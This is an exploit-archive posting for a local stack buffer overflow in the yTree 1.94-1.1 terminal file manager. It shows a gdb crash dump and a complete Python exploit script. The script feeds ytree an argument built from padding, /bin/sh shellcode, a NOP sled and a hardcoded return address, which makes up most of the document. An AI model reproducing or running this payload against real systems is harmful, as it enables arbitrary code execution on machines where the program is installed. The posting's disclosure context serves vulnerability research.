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yTree 1.94-1.1 Buffer Overflow

yTree 1.94-1.1 Buffer Overflow
Posted Feb 3, 2016
Authored by Juan Sacco

yTree version 1.94-1.1 suffers from a buffer overflow vulnerability.

tags | exploit, overflow
MD5 | f5726054b301faa2a826965bab14501a

yTree 1.94-1.1 Buffer Overflow

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# Exploit Author: Juan Sacco - http://www.exploitpack.com -
jsacco@exploitpack.com
# Program affected: yTree - File manager for terminals v1.94-1.1
# Description: yTree is prone to a stack-based overflow, an attacker could
exploit
# this issue to execute arbitrary code in the context of the application.
# Failed exploit attempts will result in a denial-of-service condition.
#
# Tested and developed on: Kali Linux 2.0 x86 - https://www.kali.org
#
# Program Description: This is a file manager that separates files from
directories
# and allows you to select and manage files from different directories.
# It works on black and white or color terminals and is UTF-8 locales aware.
# Vendor homepage: http://www.han.de/~werner/ytree.html
# Kali Linux 2.0 package: pool/main/y/ytree/ytree_1.94-1.1_i386.deb
# MD5sum: 7d55d9c7e8afb4405c149463613f596b
#
# Program received signal SIGSEGV, Segmentation fault.
#
--------------------------------------------------------------------------[regs]
# EAX: 0x41414141 EBX: 0xB7FB8000 ECX: 0x00000000 EDX: 0x08071342 o d
I t s z a P c
# ESI: 0xBFFFF134 EDI: 0x41414141 EBP: 0x0806FC60 ESP: 0xBFFFDC50
EIP: 0xB7F888C1
# CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
#
--------------------------------------------------------------------------[code]
# => 0xb7f888c1 <werase+49>: mov eax,DWORD PTR [eax+0x4c]
# 0xb7f888c4 <werase+52>: mov DWORD PTR [esp+0x24],eax
# 0xb7f888c8 <werase+56>: mov eax,DWORD PTR [edi+0x50]
# 0xb7f888cb <werase+59>: mov DWORD PTR [esp+0x28],eax
# 0xb7f888cf <werase+63>: mov eax,DWORD PTR [edi+0x54]
# 0xb7f888d2 <werase+66>: mov DWORD PTR [esp+0x2c],eax
# 0xb7f888d6 <werase+70>: mov eax,DWORD PTR [edi+0x58]
# 0xb7f888d9 <werase+73>: mov DWORD PTR [esp+0x30],eax
#
--------------------------------------------------------------------------------
# 0xb7f888c1 in werase () from /lib/i386-linux-gnu/libncursesw.so.5
# gdb$ backtrace
# 0 0xb7f888c1 in werase () from /lib/i386-linux-gnu/libncursesw.so.5
# 1 0x08050f43 in ?? ()
# 2 0x08051182 in ?? ()
# 3 0x0805972f in ?? ()
# 4 0x0804a68a in ?? ()
# 5 0xb7d82a63 in __libc_start_main (main=0x804a560, argc=0x2,
argv=0xbffff294, init=0x8064df0, fini=0x8064de0, rtld_fini=0xb7fedc90
<_dl_fini>, stack_end=0xbffff28c) at libc-start.c:287
# 6 0x0804a701 in ?? ()

import os,subprocess
def run():
try:
print "# yTree Buffer Overflow by Juan Sacco"
print "# It's fuzzing time on unusable exploits"
print "# This exploit is for educational purposes only"
# JUNK + SHELLCODE + NOPS + EIP

junk = "\x41"*65
shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
nops = "\x90"*1200
eip = "\xd0\xf6\xff\xbf"
subprocess.call(["ytree",' ', junk + shellcode + nops + eip])

except OSError as e:
if e.errno == os.errno.ENOENT:
print "Sorry, yTree not found!"
else:
print "Error executing exploit"
raise

def howtousage():
print "Snap! Something went wrong"
sys.exit(-1)

if __name__ == '__main__':
try:
print "Exploit yTree v1.94-1.1 Local Overflow Exploit"
print "Author: Juan Sacco"
except IndexError:
howtousage()
run()

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